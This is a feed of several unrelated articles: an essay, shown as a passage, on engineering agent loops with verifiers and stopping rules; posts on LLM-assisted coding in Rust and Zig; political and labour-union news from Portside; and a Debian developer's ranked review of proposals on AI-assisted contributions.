    The system needs a representation of what “done” means. For code, this might be a test suite, a specification, or a set of performance constraints. For an SVG, it might be a reference image, dimensions, colors, and layout rules. “Make it better” is not a target state. It is another prompt.

    2. An observable current state

    The system needs to inspect what exists now. And that could mean files, diffs, test results, traces, a DOM tree, an SVG structure, or a Blender scene graph. A rendered output alone is often not enough. The system also needs to see the underlying structure so it can identify where the error came from.

    3. A precise way to make changes

    The agent needs to change the part responsible for the error without regenerating everything else. Changing one function is better than rewriting the repository. Editing one SVG path is better than generating a new image. Adjusting one object in a Blender scene is better than rebuilding the scene from scratch. The more local the edit, the more likely the loop is to preserve what already works.

    In practice, this is the part people struggle to get right. Nearly every researcher I talked to said the same thing: their loop started working when they found the right set of tool calls and intermediate prompts. How do you discover the tools that meaningfully advance the loop? Right now, no one knows in advance. It is mostly trial and error.

    Which points to an uncomfortable implication : a loop is tuned to its stack . The tool calls that made a loop converge on one codebase encode assumptions about that codebase, and those assumptions stop holding somewhere else. A loop that worked for someone else is a starting point, not a guarantee. Bespoke loops do not generalize for free. And this is why we see both sides of the discussion: some people found magical loops that worked for them, but others found when they use publicly published loops they do not work at all.

    4. A stopping rule

    The system needs a condition that tells it to stop. The condition should come from outside the generator: tests passing, constraints being satisfied, a score crossing a threshold, or a reviewer approving the result. The stop condition also needs to account for cost – a loop that reaches the right answer after 500 attempts may converge technically but not economically.

    One useful way to think about this is across two axes: how editable the artifact is, and how verifiable the result is.

    Code often sits in the upper-right corner. It is easy to edit, and it has relatively strong verifiers. Open-ended image generation often sits in the bottom-left. The system can generate another image, but it cannot easily repair one specific decision or verify that the result is closer to the user’s intent.

    One important property of the chart above is that the position of a task can potentially move by reframing a problem. The axes describe the representation, not the task itself. An open-ended image is hard to edit, but the same image, represented as SVG paths or a Blender scene, becomes editable — the task moves up. Give it a reference image or a set of constraints to check against, and progress becomes verifiable, which moves the task to the right. This is another way to describe loop engineering: not making the agent retry more, but re-representing the task until it sits in the quadrant where loops converge.

    Loops are Discovered Before They are Engineered

    I interviewed programmers from different domains who all are working on some form of loop engineering – from software engineering to visual and creative tasks to video editing. And I asked each one the same question – how did you know the loop would converge and iteratively improve?

    The answer is today’s process of discovering a loop that works takes a lot of trial and error. It may be providing the right tool calls; or leaving the loop running for hours to see if it did much better than hours before (and if the improvement curve is promising). It may be going deep on specific workflows they have run in specific environments and replicating exactly that.

    But discovering loops that can work everywhere is hard, and it’s almost like we are trying to encode the human knowledge into the loop itself; we first must deeply understand what makes the loop work, or find creative ways to build a verification layer, before attempting to automate it away.

    However, finding a loop is only the upfront cost. Running the loop is the major cost that comes with every development cycle.

    The Economics of Loops

    So suppose the trial and error pays off, and you’ve found a loop that works. The simplest version of this is /goal [condition]. Keep going until the condition is met. And the loop will eventually get there.

    “Eventually” is the problem. Would you run 20 iterations or 500? The honest answer is that the loop does not know, and neither does the human developer at the time of kicking off that loop, which makes the economics of running loops tricky.

    What we do know is the shape of the curve. Across almost every study of test-time compute, returns are logarithmic: each additional increment of quality costs exponentially more attempts. 1 One web-agent benchmark found that going from 1 sample to 10 lifted success from 38.8% to 43.2%. Doubling again to 20 bought 0.2 more points for twice the tokens. 2 And past the plateau the marginal iteration can turn negative: reasoning models given larger budgets start abandoning answers that were already correct. More cycles do not just stop helping. They start hurting. 3

    I tested out one of the most popular loop examples in the wild from Anthropic’s own loop-engineering post :

    and found that the incremental token spend moves the needle far less than the loop’s runtime suggests.

    On a deliberately broken page (Lighthouse 35), Claude Code cleared 98 on the very first try for $0.35: the loop never engaged as expected. So I made the goal unreachable: same page, but served behind 2.2 seconds of artificial latency that caps the score around 89, and asked for 100.

    The first $1.40 of spend took the score from 26 to 89. The remaining $2.84, 67% of the total bill, bought exactly zero points : turn after turn of re-minifying HTML and re-running Lighthouse against a bottleneck the agent couldn’t change, each turn more expensive than the last as the transcript grew (and the Haiku evaluator quietly accumulated $0.67 on its own). Worse, the loop’s escape hatch is unreliable: Claude correctly diagnosed the latency ceiling and declared the goal impossible around try 5, and the evaluator model bounced it back 14 times anyway. 4

    The lesson isn’t that loops don’t work; it’s that they have no idea how to stop. In this run, all the value landed in the first third of the spend, but the loop continued, burning tokens for an impossible task with marginal return.

    Stopping well isn’t something one can prompt into existence. It takes infrastructure: something to meter the spend, something to measure progress against it, and something with enough information to cut the loop off. Loop engineering has an infra stack, and below are the layers.

    The Stack for Loop Engineering

    Once the loop becomes the unit of engineering, models and developers need infrastructure at every layer: an environment for the agent to act, a place to keep long-running state alive, a way to verify the work or close the loop, and a surface where humans steer. A stack has already formed around each category:

    Inference Time vs Training Time Loops

    Another lens to look at the loop engineering problem is from the perspective of inference vs training time.

    At inference time, the loop changes the work, not the model. The agent writes code, runs verifiers, reads the result, and tries again. Its weights stay fixed and the system is searching for a better answer within one task leveraging test time compute.

    At training time, the process looks like using reinforcement learning techniques that run many trajectories, scores the outcomes, and updates the model so rewarded behavior becomes more likely. The same rule applies in both cases: the loop is only as good as its verifier. In an agent loop, that verifier might be a test suite. In RL, it is the reward signal. Sometimes the two are the same.

    The two loops can eventually feed into each other. Inference-time runs produce traces of what worked, what failed, and which corrections led to success. Those traces can become training data, preference pairs, or rewards, allowing the model to learn behavior it previously had to discover through expensive search. But not every failure should be solved through training. Often the higher-leverage fix is outside the weights: a better tool, clearer state, a more precise action space, or a stronger verifier.

    Future Implications

    Today, most agent infrastructure and harnesses can help us run loops. The harder problem is finding a loop worth running, and finding the point before diminishing returns for the task at hand.

    Two things seem clear to me from watching these loops run.

    The first is that the economics will have to become explicit. Right now we run loops the way we once ran cloud instances nobody remembered to turn off. The agent bills by the token, and the token costs the same whether it moves the score or re-minifies the same HTML for the ninth time. In my Lighthouse run, two-thirds of the spend bought nothing, and neither the loop nor I knew it until I read the trace afterward. The missing piece is boring yet necessary: cost per iteration, progress per dollar, a curve someone can see while the loop is still running.

    The second is that for the loops that already converge, the interesting infra work has moved out of the loop. The loop itself is a while-statement and everything that makes it converge lives around it: the environment the agent acts in, the state that survives a long run, the verifier that decides what counts, the surface where a human steps in. Every working loop I’ve seen took a stack like this to build, and the stack is where differentiation actually sits.

    So how does an AI model know its work is done? For now, it doesn’t. It stops when the budget runs out or when a check we designed says enough, and both of those need to be built. The systems that matter will not be the ones that can keep going. They all can. They will be the ones whose builders decided, precisely and in advance, what done costs and what done means.

    If you are working on the loop engineering problem, doing research in this domain, or have thoughts on how this space will evolve, reach out to yli@a16z.com.

    Fast and Hard Code

    Hacker News
    lucumr.pocoo.org
    2026-08-22 15:56:38
    Comments...
    Original Article

    written on August 22, 2026

    One of the memes on Twitter is that “programming is solved now.” I’m not sure to what degree it is, but one thing is pretty clear: the act of familiarizing yourself with a language no longer matters and some of the friction that mattered for humans does not matter for agents.

    As a result, LLMs make language choice much less consequential than it used to be. If you don’t like the choice, you can seemingly rewrite it in another language and you can make it pick a language that you, as a programmer, are entirely unfamiliar with.

    Which in turn means that people can, and do, choose based on the marketing of languages much more. As a long-term Rust programmer I found it quite fascinating to see people now ship Rust code who previously might not have chosen it. I attribute at least one part of this to two recent vibe shifts: there is a lot more talk about wanting fast software, and about LLMs being exceptional at optimizing code without regressing behavior.

    Folks like Mitchell Hashimoto, Charlie Marsh, Jarred Sumner, Daniel Lemire and quite a few others always carried a certain level of obsession with fast and performant software and they also all happen to be receptive to agents writing code. Maybe as a result, or unrelated others are now joining in. That’s because with things like autoresearch you don’t even necessarily need to know all the tricks: you just need to put an agent on it — though knowledge greatly helps!

    If you look around, there are plenty of projects that want to be fast and small, and they increasingly pick “hard languages”. And it’s not just Rust that is benefiting. Even Zig — despite the fact that the creators and parts of the core community are pretty negative on the whole AI thing — is too. For instance Cloudflare’s new Artifacts service uses a pure-Zig Git-protocol engine, compiled to a roughly 100 KB WebAssembly module and Vercel released fx , a Zig coding agent advertised to be small and fast. From what I can tell, all these projects are largely LLM-assisted.

    But it’s not just people picking less common languages but also that they are increasingly working with “much harder” technologies. All of a sudden I have seen people do some really impressive stuff with DWARF files, eBPF, custom network drivers, custom crypto and really old computing hardware. Many of these things were previously off-limits for lots of developers. In some cases (eg: crypto) you were even pushed away because those things were intentionally gatekept by the people in the know.

    So maybe the world will have more slop, but it might also have more developers in it, that want things to be fast and small.

    This entry was tagged ai , programming and thoughts

    copy as / view markdown

    “Moderates” Support Extreme Injustice

    Portside
    portside.org
    2026-08-22 15:47:43
    “Moderates” Support Extreme Injustice Kurt Stand Sat, 08/22/2026 - 15:47 ...
    Original Article
    “Moderates” Support Extreme Injustice Published

    Abdul El-Sayed meets voters at Michigan Technological University, October 22, 2025. | Photo: Conlan Houston / CC BY-SA 4.0, via Wikimedia Commons

    We’ve been hearing a lot of panicky warnings lately after Democratic primary voters chose socialists and other leftists instead of “moderates” in several major elections. The alarm bells got louder this month after Michigan’s progressive Senate candidate Abdul El-Sayed defeated Rep. Haley Stevens – who was, the New York Times reported , “the moderate establishment-backed candidate.”

    The soothing “moderate” label routinely goes to candidates like Stevens who’ve supported continual arming of Israel. She “benefited from about $62 million in advertising spending from half a dozen outside groups,” the Times noted. “Over half of that sum came from the super PAC arm of the American Israel Public Affairs Committee, the country’s most influential pro-Israel group.”

    What’s so “moderate” about supporting genocide ?

    Politicians are also routinely dubbed “moderate” when they’re running interference for extreme income inequality and deadly healthcare inequities – helping to block popular policy options like tax hikes on the rich and Medicare for All , which is supported by three-quarters of Democrats.

    The Democratic base is fed up with a system that gives inordinate power to the wealthy and to large corporations. In the real world, the so-called “moderates” are aligned with a status quo that continues to inflict widespread suffering and preventable death at home and abroad.

    To hear timeworn party strategists like James Carville and Paul Begala tell it, leftwing candidates are duping the Democratic electorate. As this month began, Carville threatened to leave the party. Begala made headlines by declaring , “I don’t like the socialists. I can’t stand them.”

    But last month, a CNN poll found that “about a third of Democrats and Democratic-leaning adults identify as democratic socialists.” At a time when defeating the fascistic Republican Party is imperative, any strategist’s prescription that would denigrate or seek to exclude them amounts to political malpractice.

    Treating so many Democratic voters like interlopers to be scolded might play well with corporate donors. But it’s a feeble swim against the political current. Polling shows that the younger Democratic voters are, the more favorable they’re apt to be toward socialism. “Younger adults are more likely to be in groups on the left, while older adults tend to cluster in more conservative groups,” the Pew Research Center noted .

    Drawing on the results of its new public opinion survey, Global Strategy Group just reported that “socialist Democrats skew younger, with 57 percent of them being between the ages of 18 and 44.” Another poll, released a month ago by Tufts University’s Center for Information and Research, found that two-thirds of young people “said that their political views have changed in some way in recent years” – and “youth whose views did shift were almost twice as likely to become more liberal/progressive instead of more conservative.”

    As socialists and others on the left prevail in many high-profile races, the refrains of condemnation coming from some of the Democratic Party establishment are potshots in a losing battle. By definition, young voters are the future of the party. Its prospects for winning elections are diminished to the extent that younger voters are made to feel unwelcome, or even vilified.

    To the ears of many young Democratic voters, derision about how they cast their ballots is coming from out-of-touch party elders who treat crucial problems as abstractions or matters worthy only of lip service. Millions of Americans in early adulthood are facing financial stress with bleak outlooks for jobs and careers. College tuitions are often prohibitive, and college debt can be debilitating. Rents and mortgages are high. Everyday expenses are worse than a challenge. The climate crisis is real.

    Such realities cast a shadow over the future. The last thing those voters want is arrogant leadership that refuses to grasp the urgency of this political moment.

    Norman Solomon is the national director of RootsAction and executive director of the Institute for Public Accuracy. The paperback edition of his book War Made Invisible: How America Hides the Human Toll of Its Military Machine includes an afterword about the Gaza war. His new book, The Blue Road to Trump Hell: How Corporate Democrats Paved the Way for Autocracy , is free in e-book formats .

    At NationofChange, our mission is to help people create a more compassionate, responsible, and value-driven world, powered by communities that focus on positive solutions to social and economic problems. We strive to accomplish this mission through fearless journalism combined with boots-on-the-ground activism in order to create real-world, actionable strategies for change.

    New Voices Gain Ground at Letter Carriers Convention

    Portside
    portside.org
    2026-08-22 15:34:06
    New Voices Gain Ground at Letter Carriers Convention Dave Sat, 08/22/2026 - 15:34 ...
    Original Article

    “The number one takeaway is that the times in the NALC, they are a-changing,” said Margo O’Neill of Branch 352 in Des Moines, Iowa, who attended her first Letter Carriers convention August 3-7 in Los Angeles.

    “It was quite different than any convention that I’ve been to,” said retiree activist Jamie Partridge of Branch 82 in Portland, Oregon, who has been attending since 1988. “There were many competing factions and five times as many constitutional amendments as have been offered in the past, and many more resolutions, which I attribute to the uprising against the current leadership.”

    President Brian Renfroe was already in hot water at the last convention. He had been negotiating in such secrecy that even the rest of the executive council was kept in the dark; when he took a months-long leave for alcoholism treatment, he left no bargaining notes.

    But discontent really boiled over afterwards, when Renfroe came out with a tentative deal. Members were furious at the low raises and continued two-tier, and voted it down; Renfroe agreed to most of it anyway and rushed the economic parts into arbitration, citing Trump’s attacks. A near-identical contract was imposed.

    The union will elect a new president this fall, from a field of four candidates. After months of speculation, Renfroe announced at the convention that he isn’t running again. Delegates cheered.

    “I think that eased a lot of people’s minds, and also helped sharpen the dialogue about how this isn’t just about Renfroe,” said John Murphy of Branch 4716 in Naples, Florida. “We’ve gotta move forward, get some checks and balances. The younger members want their voices to be heard. They want more transparency, they want more democracy, they want more say.”

    “We’re clearly rapidly expanding what democracy looks like in our union,” said Derek Liemohn of Branch 34 in Boston. “It would be a stretch to call this a winning convention for the reformers. But this was, I think, the strongest that independent reform politics has ever looked” in the NALC.

    HOMELESS IN SEATTLE

    The latest contract expired in May, and the union and management went through a required mediation period this summer. Interest arbitration is expected next, but delegates didn’t get any update on the proposals or timeline.

    In the week’s biggest surprise, convention delegates bucked the executive council’s recommendation and approved (1,909 to 1,781) a resolution committing the union to lobbying for a wage boost in areas with a higher cost of living, like federal workers get.

    “We had old guys coming up to us and saying they had been trying to get this passed since the 1980s,” said C Moline of Branch 79 in Seattle. “This was a huge win that none of us expected this go-round.”

    Letter carrier pay is tiered by hire date and job type, but not by location. The union’s longstanding position is that bargaining a local differential would pit the interests of some carriers against others.

    However, carriers in Alaska, Hawaii, and Puerto Rico already get a “Territorial COLA” allocated by Congress. The resolution calls for locality pay within the continental U.S. to be accomplished the same way.

    “Some of our carriers have ended up homeless because they can’t afford rent in Seattle,” Moline said in an impassioned speech on the convention floor, drawing applause. “This is the way we can do it and not use any of our bargaining power. This is legislative.”

    PARTICIPATION OVERLOAD

    Some proposed constitutional amendments were clearly inspired by the recent contract debacle, such as requiring the president to keep the executive council briefed on bargaining progress, and preventing the union from making a deal without a member vote.

    Resolutions ran the gamut from contract demands, like $30-an-hour starting pay and an end to two-tier, to political positions, like opposing the war with Iran.

    Most of these efforts failed, but some modest reforms did pass. Future union conventions will be livestreamed, as this one was. The president will be required to keep written records of bargaining proposals.

    Under NALC rules, any resolution or constitutional amendment submitted in time by a branch (the union’s equivalent of a local) or state association was heard by the 5,000 delegates.

    Proposals where the executive council recommended a “yes” were batched together. Those the council opposed were taken one by one, in a confusing process where delegates would have to vote “no” on the council recommendation before voting “yes” on the resolution itself.

    Many got significant discussion and a “teller vote,” where tellers with clickers went around tallying up yeas and nays. It all took so long that workshop sessions on Wednesday and Thursday were canceled. Delegates had some ideas for process improvements, like perhaps modernizing the time-consuming voting mechanism to something electronic.

    On the reformers’ side, “the best piece of constructive criticism that I could give us is better communication between individual branches” ahead of time, said Wyatt Gilderson of Branch 82 in Portland, to avoid dragging things out with votes on many similar proposals.

    FOUR-WAY RACE

    Four presidential candidates were nominated—two as part of slates, and two on their own. The likely front-runner is Nicole Rhine, current secretary-treasurer, who is running with a slate of mostly incumbents that came together in the final days before the convention. Ballots will be mailed out September 28 and due back October 19.

    Rhine is seen as the establishment pick and is “pretty widely respected as being basically a competent administrator and well-connected for our legislative program,” Liemohn said. She would also be the union’s first woman president.

    Two reform tickets have been campaigning for two years, and were part of a loose vote-no coalition on the last contract. Mike Caref, business agent for Illinois, is running solo for president. The Concerned Letter Carriers slate, led by current Vice President James Henry, includes a number of branch presidents and popular podcaster Corey Walton. The Caref and CLC platforms emphasize similar themes, including raising pay, ending two-tier, and confronting the grievance backlog.

    A fourth candidate, Lew Drass, seems unlikely to get much traction. Still, it’s likely that someone will win with substantially less than a majority of the votes. That’s one reason why convention delegates heard 11 versions of a proposed constitutional amendment for ranked-choice voting (where voters can indicate their second- and third-choice candidates and the resulting votes are tabulated in “instant runoffs”), though none passed.

    Three of the four presidential candidates have agreed to a debate on a live August 23 episode of the Next Generation Carriers podcast.

    1,000 PODCASTS BLOOMED

    Many carriers will likely split their votes across tickets. Virgilio Goze of Branch 79 in Seattle has been a supporter of Caref, whom he called “the people’s candidate,” since he first heard him on Walton’s podcast.

    He says Caref was one of the first to raise the alarm about management’s systematic obstruction of contract enforcement, which has created a backlog of 50,000 stalled grievances, and Caref has won escalated remedies in Illinois that should become the national standard.

    For the number two spot Goze is leaning towards Walton, whom he credits with opening up communication. “The NALC of 2026 is very different from the NALC of 2022,” Goze said. “Without his podcast there wouldn’t have been people realizing that we can talk to each other beyond our regions. And it’s like, a thousand podcasts bloomed after that.”

    Convention delegates stood in two-hour lines to elect the union’s seven delegates to the AFL-CIO. Young candidates associated with podcasts and reform caucuses who ran on a progressive political vision (including Moline, Murphy, and O’Neill) were proud to have turned a ceremonial position into a competitive race, though they finished well behind the candidates associated with the Rhine-Peralta slate (who won all seven seats) and the CLC.

    ‘WORK CUT OUT FOR US’

    Not much discussed were strategies for confronting the existential threats facing the postal service—Trump’s attacks on vote-by-mail and his appetite for privatization—nor the day-to-day hazards of heat, smoke, workload, harassment, and robberies.

    The union’s next convention, in 2028, will be in Minneapolis, where the Build a Fighting NALC reform caucus has perhaps its strongest chapter.

    “Every organizer I know has been hitting the ground running,” O’Neill said a few days after the convention. They’re spreading the word about the election, inviting candidates onto podcasts, and getting a two-year lead on strategy for the 2028 convention.

    “I think our work is pretty cut out for us,” she said. “For example, with ranked-choice voting, the number one argument they [opponents] kept falling back on was, ‘None of the branches do it, it’s too confusing.’ Which frankly is insulting, especially when we already use it to bid on routes. But the very clear next steps for that are to start passing it at your branch.”

    Labor Notes is a media and organizing project that has been the voice of union activists who want to put the movement back in the labor movement since 1979.

    Through our magazine, website, books, conferences, and workshops, we promote organizing, aggressive strategies to take on employers, labor-community solidarity, and unions that are run by their members.

    Aigars Mahinovs: Optimistic take on AI

    PlanetDebian
    aigarius.com
    2026-08-22 15:30:00
    As I am writing this, there is a vote ongoing in the Debian project on how to deal with AI in general and AI-assisted contributions to Debian specifically. Massive discussions have happened in debian-vote and other locations. I have also asked questions there and offered my perspective. IMHO now is ...
    Original Article

    As I am writing this, there is a vote ongoing in the Debian project on how to deal with AI in general and AI-assisted contributions to Debian specifically. Massive discussions have happened in debian-vote and other locations. I have also asked questions there and offered my perspective. IMHO now is the time to summarize that, after all the discussions that I've had with people on multiple sides of this debate both online and offline, and explain how I will be voting and why. Hopefully that will be helpful to someone else as well. None of this has been compiled with AI assistance, but only because I think that forming opinions is not something where AI can really be helpful. Spellcheck was used though.

    So, first I will describe how I see each of the 8 proposals, then what my vote will be, and then a bit more detail on the reasoning and thinking behind this. WARNING - this went long .

    • Proposal A(1) - Action: ban all AI-assisted contributions via Social Contract amendment, except from upstreams (so not rolling back the Linux kernel and other software to "pure", pre-AI state). Claims that copyright/licensing status is unclear, quality is bad, community is being destroyed, web resources see extra load and that training consumes "staggering" resources. Needs 2/3rd majority to pass. - IMHO worst and most inconsistent. If copyright and licensing of AI products is unclear, then be consistent - ban ALL software with AI contributions, fork Linux kernel and other software from pre-AI versions, reject all security fixes of issues found with AI. Quality section lists problems that have not existed in the real world since at least a year of rapid AI coding development. Community section assumes that now all Debian contributions will be drive-by AI slop and no one will learn anything anymore. Ethics section mixes up effects of badly configured systems (AI web load is no different from load from a badly configured Perl script) with claimed "resource" usage without any context, taking on trust project ambitions of startups and assuming exponential growth. And then concludes that delivering less is in the interest of our users somehow.

    • Proposal B(2) - Action: allow AI-assisted contributions, with conditions of: legality, accountability, disclosure, no uncoordinated bulk actions, privacy. Concerns on quality and legal status as well as environmental impact and scraper load are noted, but not really addressed beyond labelling them as concerns. - IMHO it is an ok starting position as it establishes that each contributing person must still be fully responsible for their contribution (both legally and technically) and for that has to also understand (and review) what they submit. Disclosure lets others know to watch out for other classes of problems when code was changed with AI assistance. Prior discussion for bulk changes just says that the (already established) practice should not be neglected just because now large changes are easier to do. And the privacy part warns against accidentally sending private or confidential data (like a not yet published security bug) to a public service where it could become public. Personally I would have liked a stronger statement to encourage use of environmentally responsible AI services and local AI tools. Possibly a preference for open-weight models with a clear path forward to preferring truly free AI models, when such a category of products could be clearly delineated and established.

    • Proposal C(3) - Action: reject AI-assisted contributions at Code of Conduct level. Claims all the world's evils come from LLMs and that "Ethical and safe use of this technology is almost impossible". Goes as far as banning any use of LLMs even in Debian mailing list emails and Debian Planet blog posts - if you do, it's a CoC violation and may result in exclusion from the project. Additionally mandates the disclosure of the usage ... presumably to ban you more efficiently for it. - IMHO truly a dictatorial nightmare option. Zero actual reasoning or basis for such a decision. Zero sources. Nothing claimed in this option's rationale is even close to reality and nothing claimed there is in any way related to the actual technology being discussed. Like, an "LLM" does not automagically commit "fraud" when you use it, like this proposal claims, as if that was a well-known fact. LLMs are not all "owned by horrible people and companies". Even if some include a (prominent Debian user, long-time supporter and sponsor) Google into "horrible companies" (which is what this proposal implies!), there are plenty of LLMs owned by all kinds of companies all over the world and there are plenty of open-weight LLMs that are not really owned by anyone. Most invasive and dishonest option on the ballot.

    • Proposal D(4) - Action: allow AI-assisted contributions, with conditions of: legality, accountability, disclosure, privacy. IMHO same as B, just shorter. Adds a "we don't recommend" towards others developing software with AI assistance. Seems pretty weird to add that and then immediately accept Debian contributors doing so. Assumes that the bulk change bit of B is implied as AI is just tooling, so bulk changes should be pre-discussed just like today - so no change and thus no point in mentioning that. Fair. D is a bit more explicit on expected technical details - like that the "person" submitting the change is supposed to sign it, not AI. Notable is the complete absence of resource usage or the environment from concerns. IMHO it would be better to have that and also recommendations on how to avoid causing environmental damage when using AI.

    • Proposal E(5) - Action: no action as such - AI-assisted contributions must follow the same rules as all other contributions and those rules are sufficient. IMHO despite its length this is a very well-worded position statement that describes how and why AI-assisted contributions already work perfectly fine in the Debian context when all the same rules that apply to all contributions are also consistently applied to AI-assisted contributions. It describes how the same legality, accountability, no bulk change and privacy requirements are already in place and still apply and how AI-assisted contributions can and must still satisfy them. I could add again that some guidance would be nice here for both legal and environmental decisions when using AI, but in this case it does not really belong in this proposal itself. We as Debian do not have a document that requires that our non-AI-assisted contributions be made with only sustainably sourced electricity, for example. So why should AI be special one way or another? IMHO Debian should have a datacenter sustainability policy, regardless of the AI discussion.

    • Proposal F(6) - Action: discourage AI, but allow it based on existing processes (similar idea to E). Dances a bit around the question of disclosure of AI use (as a courtesy) and accepting that some people may still ban all contributions where any AI was involved in any way. Which in turn discourages disclosure to avoid pointless rejection of valuable contributions (like security patches). IMHO this option is ok, but so watered down that it is bound to bring up further discussions and conflicts on details.

    • Proposal G(7) - Action: ban non-humans from directly contributing to Debian. IMHO - another bizarre and self-contradictory option. It bans all Debian interactions with AI assistance, including email messages to Debian mailing lists and (supposedly) blog posts on Planet Debian. It "reminds" people who "use such tools assistively" of the DFSG and Social Contract - isn't that a threat of a ban and expulsion similar to C? The proposal does take pains to delineate where a contribution comes from AI as output (bad) vs when you are assisted by AI in the process of exploring, researching or maybe even reviewing the code, but you actually type all the code yourself and use the AI just as a taskmaster with a whip (good). And just like A or C it completely ignores how this inherently evil and unstable AI-generated code becomes perfectly fine and good as soon as someone develops that outside of the Debian project. Even if the same person then packages it for Debian the next day. It is hypocritical, unsustainable and ignores the needs of our users. Just like C it also bans someone writing an email or bug report in their native language and using a modern translation tool or service (that uses LLMs nowadays for better grammatical clarity) to translate that to English before sending it to a Debian mailing list or BTS. Heavy-handed and invasive. And the only reasoning provided for this is some unnamed "concerns" of "extra work" being borne by "other people"? Kind of does not feel right to bear such draconian restrictions for some unspecified concerns.

    • Proposal H(8) - Action: condemn usage, but not actually ban anything. And then it goes on to claim (without any evidence or elaboration) that LLM usage accelerates the destruction of "planet earth" (sic). IMHO this proposal is at the same time the loudest ("The planet is burning") and also the one that demands the least action. It dances a really twisty line between raising "significant" concerns in all areas and even claiming that use of LLMs destroys the planet, flies by explicit condemnation of LLM usage and then suddenly collapses with not condemning LLM users and swinging to lamentations that it is actually impossible to impose policies on LLM usage or even detect when an LLM was used (which kind of directly contradicts bad quality claims from A, C and G) and lands on "encouraging" contributors not to use LLMs (where practical) and otherwise do nothing else. It's like this is a 5th draft that started off with the rationale and total ban like in C, but then got defanged so far that its action side no longer matches the rationale stated.

    With all the above considered I will vote like this (earlier options are preferred over later options):

    • Proposal E(5) - solid hack of integrating AI into already existing Debian rules and conventions
    • Proposal B(2) - explicit and detailed
    • Proposal D(4) - lower because of discouragement to others on what we agreed to do ourselves
    • Proposal F(6) - I am not a fan of dancing around with disclosures
    • Further discussion(9) - I do not want any option below this to succeed as they would do more harm than good
    • Proposal H(8) - loud, but not doing anything actually
    • Proposal A(1) - at least this one does not set rules for emails
    • Proposal G(7) - at least this one allows an AI overseer to tell you what to write with your own fingers
    • Proposal C(3) - the most draconic and invasive one that explicitly wants to kick people out of the project

    Details on rationale

    Hypocrisy - I find any proposal that would ban AI-assisted contributions to Debian, but at the same time not ban including AI-assisted contributions from upstream projects to be inherently hypocritical. If LLMs and AI are the very incarnation of evil (a puppy-killing machine, as the analogy went in some emails), then any rational proposal would involve excluding any and ALL code contaminated by this evil from the project. What does it matter if puppies were killed in writing the debian subfolder of the source code or the src subfolder? No proposals went there because everyone knows that such a ban would be the death of the relevance of the project for the future. Debian would be frozen on some old version of the Linux kernel forever and other software would be falling to the same problem too, for example as projects on GitHub start enabling AI-supported reviews with patch suggestions. Soon the "development" of Debian could just be stopped as there is nothing to develop without any upstreams.

    Assumptions - a lot of proposals mention various "concerns" with at most one word, like "practical" or "community" without an explanation of what exactly they mean by that. The proposers assumed that everyone lives in the same info bubble as they do and already know everything that they mean and already agree to that. That is false. Proposal A was a positive stand-out in this area. Debian has contributors all over the world with very different exposure to different information sources and very different world views. If you want to convince the project as a whole that LLMs are bad because of "ethics", then you do really need to explain what you mean by that and give links to sources, at least as well as Proposal A did. All other proposals were really weak in this area.

    Copyright - the question on how copyright law interacts with training LLMs and their outputs is still not settled law. The closest legal statements we have so far are that - just because an LLM is trained on copyrighted material does not make that LLM itself be a derivative work of the training data (you, however, cannot just create and distribute a "library" of copyrighted materials just because you plan to train LLMs on it). The output of the LLM might not be subject to copyright law at all, like a photo taken by a monkey. It would then be public domain and thus can be modified and then licensed by the user of the LLM. It might also be a derived work of the context of the inference (so for software - if you refactor a GPL project, the refactoring itself is likely GPL too). Any stricter interpretations would break a lot of existing copyright doctrine, such as raising questions like: "does the output of any programmer now become a derived work of the programming manual books they read in college?". In any case it is really not up to Debian to legislate the nuances of copyright law. And I strongly disagree with the concept that an author can tell me how I am allowed to use the learnings that I gained by reading their work. That is not how either copyright or society works. I can look at 10 pictures of a sunset and draw my own, inspired by the ones I saw. No one can forbid me that expression. The same must be true for a machine learning and replicating patterns.

    Ethics - I've re-read all proposals and emails and the only real specifically ethical concern I could find was the complaint that some LLMs (or their training farms) are running their web scrapers too aggressively and that causes extra load on services. Like that is not an LLM problem. Scraping the web is not an inherent part of the LLM training or inference process. It's just a few misconfigured scripts. We saw the exact same thing in the early days of web search engine proliferation. Then we banned/blocked the misconfigured engines and the survivors learned that obeying robots.txt is one of the rules for surviving. Literally the exact same problem and it will be solved the same way. Did we ban all search engines back then just because some of them were misconfigured? No.

    Some claims (like in Proposal C) are just bombastic hyperbole ("hazards to users' mental health", "fraud", ...) and on top of that have zero relevance to the topic at hand - AI-assisted contributions to Debian. What "hazard to users' mental health" is created when a Coderabbit spots that a lock is not taken before accessing a resource in a particular function and suggests an AI-generated patch to fix it? What "fraud" is committed by this? There is no sane answer. I get that some people are very busy fighting some culture wars and sometimes, some AI-bros happen to be on the other side of one such war, so it is useful to label everything coming from the AI sphere as "bad" in all possible and impossible ways. You do you. In private. Why pull Debian into that? Why force your position on everyone else in the project? Why deny everyone in the project access to useful tooling, just because you have strong feelings about some of the people promoting some of those tools?

    This seems to me a repeating pattern here - blaming the technology as a whole or blaming all providers of this type of technology for failings (ethical or technical) of some of those providers. Like refusing to wear all shoes and condemning all shoemakers and sellers, just because some American billionaires figured out a way to make and sell cheap shoes by killing puppies. Not refusing and condemning those providers, but condemning all for the actions of a few .

    Resource usage - this is a big topic for many and it has reasonable points to it. The LLM and AI technology has no inherent need to be damaging to the environment in any way for it to function. It does not need to burn oil or dig up cobalt. It does not need to sacrifice a ton of water to the Gods. It is perfectly possible to run AI (both inference and training) purely from green, electrical energy and cool data centers in equally sustainable ways, like with simple air-source heat pumps (also known as air conditioning) or even use it beneficially (many data centers are used for heating surrounding buildings via district heating). However, some AI companies do use non-green power for their data centers, some do use locally-limited fresh water for evaporative cooling (evaporated water still rains down as rain, it is not really lost, but that may happen in another location so lack of water can still happen locally). Some even run unlicensed natural gas turbines in their data centers to provide them with power. And those specific providers can and should be shunned and condemned. Not the other ones, who are doing the right things. Not the technology or its users or its outputs.

    There is a very wide spectrum of options on how an AI system could be powered: starting from local execution on already existing private hardware powered by one's own local solar power (good), to a data center stuffed with borrowed AI-only cards powered by a gas turbine or coal power station that operates solely to supply this data center (bad). Proposals that talk about ecological impact, but do not even consider where on that (very wide) spectrum to draw the line between "good", "acceptable", "discouraged" and "bad" — well, I cannot see those proposals being actually serious about the environment to begin with. It feels like they just refer to it for points.

